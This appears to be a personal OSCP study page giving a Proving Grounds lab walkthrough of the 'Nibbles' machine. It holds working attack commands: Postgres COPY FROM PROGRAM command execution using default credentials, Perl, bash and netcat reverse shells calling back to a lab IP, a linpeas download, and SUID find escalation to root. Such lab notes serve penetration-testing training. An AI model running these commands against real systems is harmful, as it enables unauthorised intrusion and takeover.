OSCP + CTF
  • Windows Privilege Escalation
  • Most Important Links
  • Tooling
    • Apache
    • Windows Basic Recon
    • Find
    • Recon
    • DNS
    • Socat
    • Fave sql Injection
    • Xterm setup
    • Powershell Shells
    • Powershell General Info
    • Powercat
    • Fucking SMB
    • Fucking LDAP
    • Tunneling + Pivoting
      • Chisel
    • Powershell
  • Web CTF
  • General Helpful Links
  • Music OBVI
  • MySQL Privilege Escalation
  • sudo -l
  • phpMyAdmin
  • Squid πŸ¦‘
  • OSCP Labs
    • Assembling The Pieces
    • 10.11.1.101
    • 10.11.1.14
    • 10.11.1.141
    • 10.11.1.252
    • 1011.1.35
    • 10.11.1.237
    • 10.11.1.71
    • 10.11.1.50
  • HTB
    • Agile
  • OSCP Proving Grounds
    • Template
    • Authby
    • Nibbles
    • Fail
    • CTF1
Powered by GitBook
On this page

Was this helpful?

  1. OSCP Proving Grounds

Nibbles

Last updated 1 year ago

Was this helpful?

Postgres was using default creds

We can try this POC:

#PoC

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'id';

SELECT * FROM cmd_exec;

DROP TABLE IF EXISTS cmd_exec;

#Reverse shell

#Notice that in order to scape a single quote you need to put 2 single quotes

COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.115:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

bash -i >& /dev/tcp/192.168.49.115/4242 0>&1

/bin/sh -i 2>&1|nc 192.168.49.115 4444

COPY files FROM PROGRAM β€˜perl -MIO -e β€˜β€™$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.49.115:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’’’;

Postgres Reverse Shell

wget -o linpeas.sh --tries 1

after running linpeas i found that SUID is enabled for find

./find . -exec /bin/sh - \; -quit

./find . -exec /bin/sh -p \; -quit

https://github.com/squid22/PostgreSQL_RCE/blob/main/postgresql_rce.py
http://192.168.49.115:5000/linpeas.sh
https://gtfobins.github.io/gtfobins/find/